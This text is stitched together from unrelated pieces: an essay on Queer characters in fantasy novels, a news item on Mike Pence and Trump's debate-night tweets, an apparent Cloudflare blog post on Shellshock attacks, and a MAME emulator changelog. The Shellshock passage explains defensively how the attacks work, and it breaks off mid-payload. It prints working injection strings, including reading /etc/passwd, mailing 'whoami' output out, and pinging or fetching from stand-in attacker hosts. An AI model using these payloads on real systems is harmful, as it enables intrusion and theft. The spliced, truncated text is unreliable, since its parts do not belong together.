So if fantasy is a bit slow on the uptake, what do we make of those Queer portrayals that do exist? There is Rowling’s famous example of Albus Dumbledore… but to be honest, I do not read Dumbledore as a Queer character, or even as a sexual character. This is not a case of me burying my head in the sand and refusing to accept the truth – it’s simply that Dumbledore as portrayed in the actual text of Harry Potter is not sexual. He’s a wise old mentor figure, with no more sex drive than Gandalf. If Rowling had wanted to make him gay, she should actually have put it in the books, not retrospectively outed him in a blatant violation of the Death of the Author. And, frankly, if the one and only case of homosexual attraction in Harry Potter is Dumbledore desiring Wizard Hitler, that is not exactly a healthy portrayal, especially in a series that prides itself on the power of love.
George R.R. Martin’s A Song of Ice and Fire does it better. In contrast to the TV adaptation, Renly Baratheon and Loras Tyrell don’t get physical on screen, but the nature of their relationship is quite clear to anyone paying attention. Alternatively, I do wonder if Cersei Lannister and Daenerys Targaryen playing around with sexy female underlings has an element of male-orientated fanservice attached. Both characters are also heterosexual in all other settings, so this bout of homosexual activity is likely more experimentation than full-blown bisexuality. And while Oberyn Martell is clearly intended to be an anything-goes pansexual, this is an informed attribute, since his only partner we see in the book is his female paramour, Ellaria Sand – his homosexual activities are simply the subject of rumours. Informed sexuality is one of the big pitfalls of actually trying to explore Queer characters, something I will get to shortly.
Then there are the more envelope-pushing portrayals – R. Scott Bakker and Richard Morgan give us Cnaiür (The Prince of Nothing) and Ringil (A Land Fit for Heroes) respectively. The former is a violent barbarian in clear denial about himself – he has multiple wives and children, but appears to prefer men. The latter is a violent aristocrat who blatantly rubs his sexuality in the face of both the reader and his deeply homophobic society. I think both characters are a strike at the archetype of the testosterone-dripping meat-headed warrior (“what if Conan were gay?”), but as I remarked a few months back, I think your work loses inclusiveness points if you have your gay character being arse-raped at regular intervals. Morgan in particular ramps things up as far as he can, in what I’ve previously described as “Adult Themes”.
Finally, there’s what might be termed the Yaoi Fangirl flavour of fantasy, where Queerness of characters seems to be an aesthetic choice on the part of the author. For all that Sarah Monette is an excellent prose-stylist, and very good at both characterisation and worldbuilding, having read her Doctrine of Labyrinths tetralogy, I can’t quite shake the idea that she is a bit too enthusiastic about portraying homosexual male rape – not for trolling (a la Morgan), but rather for female-orientated fanservice. A gender-flipped version of Martin’s lesbian scenes if you will, but with an unhealthy element of non-consent in the mix. The less said about other authors who seem to think that gay male characters must automatically be weepy, angsty, and campy, the better.
Running through these examples is the tendency of the fantasy genre to limit considerations of Queerness to “mainstream” homosexuality – even in Martin’s case, you’re dealing with informed pansexuality and debatable bisexuality, rather than anything thorough. At first sight, this might appear neglect, until you realise there are some things that exist in the real-world that are damn hard to put on the page, because the rules of narrative aren’t always the rules of real-life. Let’s take a couple of examples.
In the real-world, asexual people exist – people who may or may not desire romance and companionship, but who don’t have any particular desire to engage in sexual activity. All well and good, but if you want to write an asexual character, how do you do it? Unless you have a character identify themselves or someone else as asexual (which requires the concept to exist in-universe), you are left showing an absence. To do that, you must go out your way to show everyone else as having a sex drive – taking advantage of the literary concept of the foil, where an attribute is made more apparent by juxtaposition with its opposite. Which is do-able, but needs to be done carefully lest the reader think you’ve written a cast of sex maniacs (minus one). A lot of work, just to explore one character’s asexuality!
Another complicated example is bisexuality. In the real-world, bisexuals might only associate with one gender and never act on their desire for the other – but this isn’t really viable in fiction, since it looks like a cop-out. Informed attributes are generally a bad idea, since the reader is forced to accept the narrative’s word for it, rather than the more powerful option of seeing the attribute for themselves. This is another reason why Rowling’s Dumbledore is a failed depiction of a Queer character (Show Don’t Tell can be a cruel master).
In real-life, bisexuals might also only have a single relationship with a person of a particular gender – but if you present this otherwise perfectly normal situation in fiction, it can be seen as “experimentation” or “denial” rather than “true” bisexuality. If you then write a bisexual character having multiple encounters of either gender, you run the risk of portraying them as indiscriminately promiscuous, which only promotes a stereotype (in reality, just because bisexuals fancy both men and women doesn’t mean they all sleep with everyone). I’m sure you can see the tightrope here, and why it requires a good deal more work on the part of the author to present a bisexual character than a standard “straight” or “gay” character.
Having looked at why fantasy has traditionally neglected Queer characters, what the genre is currently serving up in terms of portrayals, and a couple of the pitfalls and complexities involved, I’d just like to finish off with a quick note on one excuse you occasionally see for people writing straight-only casts – the “write what you know” line. You know, the idea that straight people can only realistically write straight characters. I hate this particular piece of received wisdom, since to me it feels like an attack on the very basis of fiction. For goodness sake, our job as writers (fantasy authors no less) involves imagining things that don’t exist, and trying to get inside consciousnesses different to our own. If someone is capable of writing someone of a different gender to themselves, they are more than capable of writing someone of a different sexual orientation. And as for the mechanics, research is your friend. Thankfully, moving forward, the genre is seeing more authors taking the plunge.
AdvertisementsRepublican vice presidential nominee Mike Pence accused the Democratic ticket, Hillary Clinton and Tim Kaine, of running an “insult-driven campaign.”
“It really is remarkable,” Pence said during Tuesday’s vice presidential debate.
Pence repeated the claim multiple times during the debate. All the while, his running mate, Donald Trump, was churning out insults on Twitter:
"@Jnelson52722: @realDonaldTrump @Susiesentinel Kaine looks like an evil crook out of the Batman movies" — Donald J. Trump (@realDonaldTrump) October 5, 2016
Trump has complained about attacks from Clinton and Kaine before, calling their ads “phony.”
“They’re untrue, and they’re misrepresentations,” Trump said during the first presidential debate. “And I will tell you this, Lester, it is not nice, and I don’t deserve that, but it’s certainly not a nice thing that she’s done.”
The Clinton campaign has made several ads that feature quotes directly from Trump’s mouth, with little to no narration.
This post has been updated with Tuesday tweets from Trump.On Wednesday of last week, details of the Shellshock bash bug emerged. This bug started a scramble to patch computers, servers, routers, firewalls, and other computing appliances using vulnerable versions of bash.
CloudFlare immediately rolled out protection for Pro, Business, and Enterprise customers through our Web Application Firewall. On Sunday, after studying the extent of the problem, and looking at logs of attacks stopped by our WAF, we decided to roll out protection for our Free plan customers as well.
Since then we've been monitoring attacks we've stopped in order to understand what they look like, and where they come from. Based on our observations, it's clear that hackers are exploiting Shellshock worldwide.
(CC BY 2.0 aussiegall)
Eject
The Shellshock problem is an example of an arbitrary code execution (ACE) vulnerability. Typically, ACE vulnerability attacks are executed on programs that are running, and require a highly sophisticated understanding of the internals of code execution, memory layout, and assembly language—in short, this type of attack requires an expert.
Attacker will also use an ACE vulnerability to upload or run a program that gives them a simple way of controlling the targeted machine. This is often achieved by running a "shell". A shell is a command-line where commands can be entered and executed.
The Shellshock vulnerability is a major problem because it removes the need for specialized knowledge, and provides a simple (unfortunately, very simple) way of taking control of another computer (such as a web server) and making it run code.
Suppose for a moment that you wanted to attack a web server and make its CD or DVD drive slide open. There's actually a command on Linux that will do that: /bin/eject. If a web server is vulnerable to Shellshock you could attack it by adding the magic string () { :; }; to /bin/eject and then sending that string to the target computer over HTTP. Normally, the User-Agent string would identify the type of browser you are using, but, in in the case of the Shellshock vulnerability, it can be set to say anything.
For example, if example.com was vulnerable then
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
would be enough to actually make the CD or DVD drive eject.
In monitoring the Shellshock attacks we've blocked, we've actually seen someone attempting precisely that attack. So, if you run a web server and suddenly find an ejected DVD it might be an indication that your machine is vulnerable to Shellshock.
Why that simple attack works
When a web server receives a request for a page there are three parts of the request that can be susceptible to the Shellshock attack: the request URL, the headers that are sent along with the URL, and what are known as "arguments" (when you enter your name and address on a web site it will typically be sent as arguments in the request).
For example, here's an actual HTTP request that retrieves the CloudFlare homepage:
GET / HTTP/1.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8,fr;q=0.6 Cache-Control: no-cache Pragma: no-cache User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 Host: cloudflare.com
In this case the URL is / (the main page) and the headers are Accept-Encoding, Accept-Language, etc. These headers provide the web server with information about the capabilities of my web browser, my preferred language, the web site I'm looking for, and what browser I am using.
It's not uncommon for these to be turned into variables inside a web server so that the web server can examine them. (The web server might want to know what my preferred language is so it can decide how to respond to me).
For example, inside the web server responding to the request for the CloudFlare home page it's possible that the following variables are defined by copying the request headers character by character.
HTTP_ACCEPT_ENCODING=gzip,deflate,sdch HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6 HTTP_CACHE_CONTROL=no-cache HTTP_PRAGMA=no-cache HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 HTTP_HOST=cloudflare.com
As long as those variables remain inside the web server software, and aren't passed to other programs running on the web server, the server is not vulnerable.
Shellshock occurs when the variables are passed into the shell called "bash". Bash is a common shell used on Linux systems. Web servers quite often need to run other programs to respond to a request, and it's common that these variables are passed into bash or another shell.
The Shellshock problem specifically occurs when an attacker modifies the origin HTTP request to contain the magic () { :; }; string discussed above.
Suppose the attacker change the User-Agent header above from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 to simply () { :; }; /bin/eject. This creates the following variable inside a web server:
HTTP_USER_AGENT=() { :; }; /bin/eject
If that variable gets passed into bash by the web server, the Shellshock problem occurs. This is because bash has special rules for handling a variable starting with () { :; };. Rather than treating the variable HTTP_USER_AGENT as a sequence of characters with no special meaning, bash will interpret it as a command that needs to be executed (I've omitted the deeply technical explanations of why () { :; }; makes bash behave like this for the sake of clarity in this essay.)
The problem is that HTTP_USER_AGENT came from the User-Agent header which is something an attacker controls because it comes into the web server in an HTTP request. And that's a recipe for disaster because an attacker can make a vulnerable server run any command it wants (see examples below).
The solution is to upgrade bash to a version that doesn't interpret () { :; }; in a special way.
Where attacks are coming from
When we rolled out protection for all customers we put in place a metric that allowed us to monitor the number of Shellshock attacks attempted. They all received an HTTP 403 Forbidden error code, but we kept a log of when they occurred and basic information about the attack.
This chart shows the number of attacks per second across the CloudFlare network since rolling out protection for all customers.
From the moment CloudFlare turned on our Shellshock protection up until early this morning, we were seeing 10 to 15 attacks per second. In order of attack volume, these requests were coming from France (80%), US (7%), Netherlands (7%), and then smaller volumes from many other countries.
At about 0100 Pacific (1000 in Paris) the attacks from France ceased. We are currently seeing around 5 attacks per second. At the time of writing, we've blocked well over 1.1m Shellshock attacks.
Let your imagination run wild
Since its so easy to attack vulnerable machines with Shellshock, and because a vulnerable machine will run any command sent to it, attackers have let their imaginations run wild with ways to manipulate computers remotely.
CloudFlare’s WAF logs the reason it blocked a request allowing us to extract and analyze the actual Shellshock strings being used. Shellshock is being used primarily for reconnaissance: to extract private information, and to allow attackers to gain control of servers.
Most of the Shellshock commands are being injected using the HTTP User-Agent and Referer headers, but attackers are also using GET and POST arguments and other random HTTP headers.
To extract private information, attackers are using a couple of techniques. The simplest extraction attacks are in the form:
() {:;}; /bin/cat /etc/passwd
That reads the password file /etc/passwd, and adds it to the response from the web server. So an attacker injecting this code through the Shellshock vulnerability would see the password file dumped out onto their screen as part of the web page returned.
In one attack they simply email private files to themselves. To get data out via email, attackers are using the mail command like this:
() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' [email protected]
That command first runs whoami to find out the name of the user running the web server. That's especially useful because if the web server is being run as root (the superuser who can do anything) then the server will be a particularly rich target.
It then sends the user name along with the name of the web site being attacked (example.com above) via email. The name of the website appears in the email subject line.
At their leisure, the attacker can log into their email and find out which sites were vulnerable. The same email technique can be used to extract data like the password file.
(CC BY 2.0 JD Hancock)
Reconnaissance
By far the most popular attack we've seen (around 83% of all attacks) is called “reconnaissance”. In reconnaissance attacks, the attacker sends a command that will send a message to a third-party machine. The third-party machine will then compile a list of all the vulnerable machines that have contacted it.
In the past, we've seen lists of compromised machines being turned into botnets for DDoS, spam, or other purposes.
A popular reconnaissance technique uses the ping command to get a vulnerable machine to send a single packet (called a ping) to a third-party server that the attacker controls. The attack string looks like this:
() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com
The ping command is normally used to test whether a machine is “alive” or online (an alive machine responds with its own ping). If a web server is vulnerable to Shellshock then it will send a single ping packet (the -c 1 ) to attacker-machine.com with a payload set by the -p. The payload is a unique ID created by the attacker so they can trace the ping back to the vulnerable web site.
Another technique being used to identify vulnerable servers is to make the web server download a web page from an attacker-controlled machine. The attacker can then look in their web server logs to find out which machine was vulnerable. This attack works by sending a Shellshock string like:
() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null
The attacker looks in the web server log of attacker-controlled.com for entries. The page downloaded is set up by the attacker to be reveal the name of the site being attacked. The ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== is actually a code indicating that the attacked site was example.com.
ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== is actually a base64 encoded string. When it is decoded it reads:
example.comShellShockSalt
From this string the attacker can find out if their attack on example.com was successful, and, if so, they can then go back later to further exploit that site. While I've substituted out the domain that was the target, we are seeing real examples in the wild actually using ShellShockSalt as the salt in the hash.
Denial of Service
Another Shellshock attack uses this string
() { :;
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. SAA5050 Teletext Character Generator: Replaced dump of SAA5050 internal character generator ROM with verified copy from decap. This also matches the Signetics and Mullard SAA5050 datasheet pixel listings.. Serial Flash: Added support for page size configuration and fixed block erase command and read/write past last page (machine\serflash.cpp). Seta ST0020 Sprites: Reduced code duplication. Use device finder. Cleanup tilemap mapping. Removed MCFG macros.. Signetics SCN2674 AVDC: Added BREQ output; get a bit smarter about screen reconfiguration.. Western Digital WD33C93 SCSI: Style cleanup and improved logging. Silence logging by default.. Z80 CTC: Allow a fixed-rate clock input to be configured for each channel. This improves performance by alleviating the need to drive the CLK/TRG inputs with high-frequency timers.. Z80 DART: Don't reset the receiver whenever WR5 changes - acesp.cpp: Dummy out ace_sp_portmap, this not so useful bit. - backfire.cpp: Simplified graphics decode. Deferred scroll RAM allocation until start time. Reduced code duplication. Converted arrays into std::unique_ptr. Added notes. Fixed metadata related to regional warning screen (both dumped sets are Japan release). - blmbycar.cpp and wrally.cpp. Added shadow/headlight to Blomby Car. Note: Blomby Car is a bootleg of World Rally, many things are similar, but not quite the same, including the sprites. Previous emulation of Blomby Car was missing the shadow and highlight effect entirely. This was implemented on World Rally. Bringing the video implementations closer together has allowed me to add this missing effect to Blomby Car.. World Rally improvements. Note: Looking at some reference material it seems the emulation of the shadow / highlight effect on World Rally was 'too good' in some cases, for example, looking at original hardware videos it looks very much like you're meant to see a car shaped shadow as your headlights pass through the starting arch. This wasn't present on previous emulation which used 2 pass drawing, but is present with the single pass drawing and mixing.. blmbycar.cpp: Cleanup ACCESSING_BITS. Reduced code duplication and runtime tag map lookups. Fixed memory map and sound output (both chip and PCB can't support stereo output).. wrally.cpp: Cleanup gfxdecode and ACCESSING_BITS. Reduced runtime tag lookups and code duplication. - bmcpokr.cpp: Correct sound output channel. Cleanup ACCESSING_BITS. Reduced code duplication. Removed MCFGs and register_postload. Correct value types. - cave.cpp: Cleanups. Removed unnecessary palette init, register_postload and some MCFGs. Cleanup some ACCESSING_BITs, write handlers, inputs and gfxdecodes. Fixed tilemap update. Added notes. - chihiro.cpp: Some cleaning (machine\xbox_pci.cpp) - cninja.cpp and deco32.cpp: Trigger interrupts at the start of hblank instead of at the 1st active pixel. Allow raster irqs in active display (glitches in Dragon Gun bottom part of screen otherwise) (machine\deco_irq.cpp). Fixes screen goes black in Dragon Gun on 3rd stage and game stops (ID 07046). - dec0.cpp: Converted sprite RAM to buffered_spriteram16_device. Cleanup gfxdecode and improved member names. - deco32.cpp: Cleanups. Moved tilegen configurations into video_start and removed VIDEO_START_MEMBER. Cleanup duplicates in gfxdecode. Reduced unnecessary address_space arguments and unnecessary arrays. Fixed tattass* metadata related to date in ROM/RAM check screen. Fixed spacing and namings. Fixed Tattoo Assassins EEPROM logging. - docastle.cpp. Put maincpu irq back to vsync. Note: docastle schematics say that maincpu(and cpu3) interrupt comes from the 6845 CURSOR pin. The cursor is configured at scanline 0, and causes the games to update the next video frame during active display. What is the culprit here? For now, it's simply hooked up to vsync.. Fixed top of screen flickers in dowild when level 1 completed (either by player or via attract mode) (ID 07149) - f1gp.cpp: Various cleanups. Reduced code duplication. Splitted f1gp2 specific functions into driver state. Moved GFX swap into rom load. Added shared_ptr for GFX RAM. Changed clone F-1 Grand Prix (Playmark bootleg) sound output to mono. - fantland.cpp: Cleanup ACCESSING_BITs. Reduced code duplication and runtime tag map lookups. Fixed some namings and spacings. Removed unnecessary MACHINE_START_CALL_MEMBER and MACHINE_RESET_CALL_MEMBER. Splitted borntofi state related to ADPCM and input. Reduced/correct ROM region usage and some trampoline. - gaelco.cpp: Cleanup gfxdecode and naming. Reduced code duplication and runtime tag lookup. - galaxian.cpp and galaxold.cpp: Moved audio\galaxian configuration to driver files - gottlieb.cpp: Cleanup driver and gfxdecode. Reduced unnecessary arguments. Fixed namings. Reduced unnecessary arguments of handlers (audio\gottlieb.cpp). - highvdeo.cpp: VBLANK modernization - hng64.cpp: Updated to match V53 changes - hyprduel.cpp and metro.cpp. hyprduel.cpp: Cleanup ACCESSING_BITS. Fixed sprite lag in Blazing Tornado and Grand Striker 2. Adjusted Grand Striker 2 sound balance.. metro.cpp: Cleanup ACCESSING_BITS. Reduced code duplication and unnecessary address_space arguments. Fixed namings.. Imagetek I4100/4220/4300: Added supported for buffered sprites. Cleanup sprite drawing routine. Internalized gfxdecode (all driver shared same gfxdecodes). Cleanup and removed MCFGs. - igs011.cpp: Removed unnecessary palette handler. Converted memory_region into region_ptr. - karnov.cpp: Cleanup. Converted background tilemap into generic MAME tilemap system. Cleanup handlers. Reduced code duplication, address_space arguments and region sizes. - lordgun.cpp. Cleanup naming and unnecessary handlers. Reduced code duplication.. Fixed Alien Challenge YMF278B clock (https://www.youtube.com/watch?v=_RaCpHwyS78). - m52.cpp. Use multiple palettes and regions instead of kludging into one. Fixed sprite colours, looks like mpatrol could potentially support 3bpp anyway and the existing kludging of the sprite clut prom was to save memory.. Alpha One (Vision Electronics): Improvements. Splitted game into different class etc. Promoted to working. - m72.cpp: Miscellaneous cruft removal - magic10.cpp: Updated game list with hardware setup. More detailed hardware setup description. Fixed a few ROMs names as per real labels. Updated boot instructions for all games. - namcos1.cpp: Added Namco C123 device (Tilemaps). Reduced code duplication. Correct device types, XTAL'd YM2151 clock and namings. - namcos2.cpp: Fixed Namco C123 video RAM mirroring issue. Fixes Metal Hawk intermission (ID 06685). - namcos22.cpp. Get rid of ioport tag lookups, tweak SS22 analog limits. Small driver update.. Added basic support for up-down count on timers in event counter mode to M37710S4 CPU. Improved Prop Cycle/Armadillo Racing controls.. Added SS22 volume control. Fixed bug with priority over textlayer (video
amcos22.cpp), fixes Cyber Commando arrows (black part) should be below textlayer when a messagebox pops up. - naomi.cpp: Fixed M1 security keys endian (machine
aomim1.cpp) - peplus.cpp: Minor documentation update/info for various PE+ sets/roms - segas16b.cpp: Added QUANTUM_TIME for games with 8751, this gets rid of sprite lag in goldnaxe (ID 06474) and altbeast. - segas32.cpp: Reduced code duplication. Cleanup ACCESSING_BITs and naming. - segasp.cpp: Added SystemSP Network Board firmware ver 1.23 and alternate network board 1.23 firmware, dumped and documented one more Bingo Galaxy satellite PCB [Darksoft]. - stadhero.cpp: Minor cleanups. Removed some MCFGs. Fixed some namings. Cleanup gfxdecode. Reduced unnecessary handlers. Added notes. - supbtime.cpp: Restored tilemap offset to tumblep and chinatwn that were lost when driver was merged with supbtime (verified with hardware videos) - tecmo.cpp: Converted scroll array into shared_ptr. Reduced code duplication and runtime tag map lookups. Removed unnecessary handler installs. Fixed spacing and naming - thoop2.cpp: Simplified graphics decode. Reduced code duplication and runtime tag lookup. - toaplan2.cpp. Improved member naming and removed unnecessary use of register_postload. GP9001 VDP: Cleanup/Fixed naming. Reduced unnecessary handler. Make tilemap drawing routine related to cliprect and buffered_spriteram16 for sprite RAM (video\gp9001.cpp). - tourvis.cpp: Added game IDs as a "feature" (hash\pce_tourvision.xml). Game IDs are relevant to the emulation, and should be on the XML, not on comments. Also updated the comments on missing games and missing IDs. - tx1.cpp: Make TX-1 use something that looks like C++ rather than driver_data abuse (still needs splitting tx1 and buggyboy parts) - vamphalf.cpp: Demoted several games due to non-DRC issues - Abnormal Check: Redumped graphics roms (Game now playable) - American Poker II. Simplified decryption of clone Rabbit Poker (Arizona Poker v1.1?). Documented and simulated clone Piccolo Poker 100 protection and removed ROM patches. Some clean-ups. Added technical notes. - Asteroids Deluxe: Default ER2055 EAROM to zero fill to suppress invalid high score display (ID 07151) - Break Thru: Marked roms 6 and 7 of clone Break Thru (Tecfri license) also as BAD_DUMP. The PCB owner redumped the ROMs, getting variable results on ROMs 6, 7 and 8, and constant reads on all other ROMs. He also recorded a video of the game running: https://www.youtube.com/watch?v=eBbToDz0YQw. - Dragon Master: Fixed 8x8 tile bank - Hang-On: Dumped PAL CK2605 devices - Happy Jackie: Small cleanups - Hot Blocks: Added PALETTE_FORMAT for palette. Cleanup video update routine. Converted VRAM array into std::unique_ptr. Confirmed XTAL (PCB has only a 24 MHz XTAL). - Kick Goal. Decapped and hooked up PIC16C57. It's possible the banking is wrong on the OKI still as the game really doesn't attempt to use the majority of the sounds in the rom, there are only a few screens where music even plays.. Fixed Kick Goal clock speeds. Both Kick Goal and Action Hollywood run on the same PRO-3/B PCB so use the measured clocks from Action Hollywood for Kick Goal. - Mouse Trap: Verified one of Mouse Trap's original PROMs matches the corresponding one dumped from a bootleg. The other 2 PROMs couldn't be read. Correct PROM PCB locations. - Parent Jack: Fixed volume. Game uses FM channel of YM2203 for jingle/musics. - Pinball Action. Hooked up numeric pinball LED displays for clone Pinball Action (Tecfri license) (working but missing some comms). Added hardware documentation, 74HCT259 latch, removed some MCFG and clean up names for clone Pinball Action (Tecfri license) - PinMAME: Corrected sound CPU rom dump for Clown (Inder) and Top Pin - Prehistoric Isle in 1930: Dumped correct char rom for clone (Korea), fixes introductory text not displayed properly (ID 05613). - Royal Ascot. Added satellite roms. Make 68K/Z80 communications work instead of patching it out - Smash T.V.: Added SL1 revision sound ROM to clone Smash T.V. (rev 3.01) - Tetris: Decapped Intel P8749H microcontroller from Tetris (bootleg set 3). Matches already existing dump. - U.N. Defense Force: Earth Joker. Marked parent set as a bad dump and applied a patch based on earthjkrp (fixes row scroll on final stage). Reduced sound levels to avoid clipping - Video 21: Use deal/stand for blackjack control buttons now that we're not using deal for vblank. First 4 buttons on cabinet are: bet/einsatz, start, card/karte and stop. - Dipswitch fixes in blmbycar.cpp, megadriv_acbl.cpp and namcos22.cpp - Fixed rom names in exidy.cpp, magic10.cpp, midtunit.cpp, namcond1.cpp, segas16b.cpp, williams.cpp and xevi3dg - Description changes of Backfire! (Japan, set 1), Backfire! (Japan, set 2), Blomby Car (Version 1P0), Blomby Car (Version 1P0, not encrypted), Capitan Uncino (Nazionale Elettronica, Ver 1.2), Centipede (bootleg, set 1), Chatan Yarakuu Shanku - The Karate Tournament (Japan), Dragon Master (set 1), Fighting Vipers 2 (Revision A), Judge Dredd (rev TA1 7/12/92, location test), Klax (Germany, version 2), Klax (Japan, version 3), Klax (version 4), Klax (version 5), Klax (version 5, bootleg set 1), Klax (version 6), L.A. Machineguns, The Lost World (Revision A), Magic's 10 2 (ver. 1.1), Music Sort (ver. 2.02), Pinball Action (Tecfri license), Pinball Action (set 2, encrypted), Pinball Action (set 3, encrypted), Pinball Action (set 4, encrypted), Sega Bass Fishing, Sega Bass Fishing Deluxe, Shinobi (set 6, System 16B) (unprotected), Ski Champ, Snow Bros. 2 - With New Elves / Otenki Paradise (bootleg, set 1), Street Fighter II: The World Warrior (World 910204, conversion), Super Gran Safari (ver. 3.11), Tattoo Assassins (Asia prototype, Mar 14 1995), Tattoo Assassins (US prototype, Mar 14 1995), Trivial Pursuit (Spanish, Maibesa license), U.N. Defense Force: Earth Joker (US / Japan, set 1), Virtua Striker 2 '99 (Export, USA), Virtua Striker 2 '99 (Export, USA, Revision A), Virtua Striker 2 '99 (Japan, Revision B), Virtua Striker 2 '99 (Step 1.5, Export, USA), Virtua Striker 2 '99.1 (Export, USA, Revision B), Virtua Striker 2 (Step 1.5, Export, USA), Virtua Striker 2 (Step 1.5, Japan), Virtua Striker 2 (Step 2.0, Export, USA) and Xevious 3D/G (World, XV32/VER.B) - Renamed (klax2) to (klax5), (klax2bl) to (klax5bl), (klax3) to (klax4), (klaxd) to (klaxd2), (klaxj) to (klaxj3), (pbaction2) to (pbactiont), (pbaction3) to (pbaction2), (pbaction4) to (pbaction3), (pbaction5) to (pbaction4), (shinobi5) to (shinobi6), (smashdrv) to (smashdrvb) and (xmcotaar1) to (xmcotaar2) - MAME. VIDEO RENDERING SYSTEM. Added a device callback to make it easier to hook the scanline timer (emu\screen.cpp). Don't assert on update_partial with scanline<0, plenty drivers do update_partial(vpos-1) (emu\screen.cpp).. DEVICE. Removed MCFG usage in AY8910/2/4, M37702S1, MC6845, MSC1937, S16LF01, YM2151, cpu\pps4\pps4.h, machine\gen_latch.h, nmk112.h, pic8259.h, pit8253.h, pxa255.h, r10696.h, ra17xx.h, roc10937.h, rp5h01.h, rtc4543.h, rtc65271.h, rtc9701.h, s2636.h, s3520cf.h, s3c2410.h, s3c2440.h and bus\isa\isa.h. Removed MACHINE_CONFIG_START/_END for zerozone.cpp, zr107.cpp and zwackery.cpp. LUA engine. Added description comments for emu.item(). Make render.targets table a property to match the doc. Added background color for draw_text. Added pixel(x,y) and pixels() functions (Get pixel at x, y as packed RGB in a u32 and get whole screen bitmap as string). Added as_hz() to emu\attotime.h. Replaced ATTOSECONDS_TO_HZ with as_hz where appropriate. On 0hz "attotime::from_ticks" return "attotime::never" instead of crashing.. PLUGINS: Fixed XML writer (plugins\cheatfind\init.lua). hiscore.dat update (plugins\hiscore\hiscore.dat). Device Network Interface: Avoid crashing (emu\dinetwork.cpp). Network: Padding and fcs on Linux (netdev\taptun.cpp) - SDLMAME: Added force feedback (haptic) device (input\input_sdl.cpp) - Compiling. Put #include emu.h as the first preprocessor directive in various files to support precompiled headers in Visual Studio (sound\dac.cpp, video\cgapal.cpp, video/rgbgen.cpp, rgbsse.cpp and rgbvmx.cpp). Added ini/examples to dist.mak. Renmead flipendian_int16/32/64(mem_mask) to swapendian_int16/32/64(mem_mask) (osd\osdcomm.h, cpu\uml.cpp, util\unicode.cpp, emu\save.cpp...). Misc cleanup - mostly missing #include guards and inconsistent initialiser list formatting. Cleanup header. - Debugger. Added 'gp' command. gp 'go privilege' starts execution until the privilege mode changes. This can be used to break on task switches. I.e on m68k, one could do: gp { ~sr & 0x2000 && crp_aptr == 0x1234567 }. Which would execute until the privilege mode changes to user mode and the CPU root pointer is 0x1234567. For cpu code, all that is needed to make this work is calling debugger_privilege_hook() when the execution level changes.. Added %c to logerror. This is useful for catching putchar() like functions and printing the written value to error.log. On hp9k_3xx, i'm using this with the HP 300 test software, to log test error messages that get printed on screen to error.log, so i have the message directly after the debug messages from my driver. Example: wpset 0xfffe36be,80,w,1,{ logerror "%c", wpdata; g }. 0.203 - New games: Nerae! Super Goal (J 981218 V1.000) and Sky Challenger (J 000406 V1.000) - New Working games: Tokyo Wars and Video 21 - New Non-Working games: Bowling Road (Ver 1.5), Gynotai (Japan), Labyrinth (Ver 1.5), MVS-TEMP 'SubSystem Ver1.4' (Nazca development board), Pin Ups (Ver 1.0 Rev A), Rushing Beat (SNES bootleg), Super Derby (satellite board), UFO Robot (Ver 1.0 Rev A) and World Cup (Ver 1.5) - New clones: Ace Driver: Victory Lap (Rev. ADV1, Japan), Altered Beast (bootleg), Arm Champs II (ver 2.7), Bowling Road (Ver 1.4), Bowling Road (Ver 1.4, ND2001 hardware), Break Thru (Tecfri license), Crazy Rally (Recreativos Franco license), Crock-Man (Marti Colls bootleg of Rene Pierre Crock-Man), Emergency Call Ambulance (Japan), Fenix (Niemer bootleg of Phoenix), Heated Barrel (World version?), The Killing Blade / Ao Jian Kuang Dao (ver. 106), Koutetsu Yousai Strahl (World), Land Maker (Ver 2.02O 1998/06/02), Ms. Pac-Man ('Made in Greece' bootleg, set 2), Ms. Pac-Man (Marti Colls bootleg), Mushiking The King Of Beetle (MUSHIUSA '04 1ST, Prototype), Pac Man (FAMARE S.A. bootleg of Puck Man), Pengo (Marti Colls bootleg on Pac-Man hardware, set 1), Pengo (Marti Colls bootleg on Pac-Man hardware, set 2), Phoenix (G. Universal Video bootleg), Pocket Gal Deluxe (Asia v3.00), PuLiRuLa (World, earlier?), Rapid Hero (NMK), Rim Rockin' Basketball (V1.2, bootleg), Showdown (version 4.0), Soldier Girl Amazon (Tecfri license), Street Fighter II: The World Warrior (World 910204), Super Pang (World 900914, bootleg, set 2), Super Street Fighter II: The Tournament Battle (USA 930911), Tazz-Mania - El Trompa (U.R.V. BBCPE bootleg), Tetris (bootleg set 4, with UM3482), Twins, Twins (Mega Twins bootleg), World Cup '90 (european hack, different title), World Cup (Ver 1.4), Zero Time (Marti Colls) and Zorton Brothers v1.01 (Los Justicieros) - New AGEMAME games: BwB Tetris v 1.0? (MPU4 Video), Excalibur (Mdm) (MPU4, V1.0D), Prize Space Invaders (v1.4D?) (MPU4 Video), Prize Space Invaders (v2.0D?) (MPU4 Video) and Prize Space Invaders (v2.14?) (MPU4 Video) - New PEPlus games: Player's Edge Plus (SET033) Set Chip, S-Plus SET005 Set chip, S-Plus SET015 Set chip and S-Plus SET026 Set chip - New PinMAME games: Congo (1.1, DCS sound 1.0), Diner (PA-0 prototype), Heavy Metal Meltdown (German) and Jack*Bot (0.4A prototype) - New devices: cx25871, dp8350, dp8367, edevices_sforce_vid, edevices_vid, eeprom, nand, pic16lc, ps2_keybc, r2000, s3c2440, smartmedia and tms9981 - New mame.ini options: bgfx_lut (BGFX POST-PROCESSING OPTIONS), chroma_mode, chroma_conversion_gain, chroma_a, chroma_b, chroma_c, chroma_y_gain 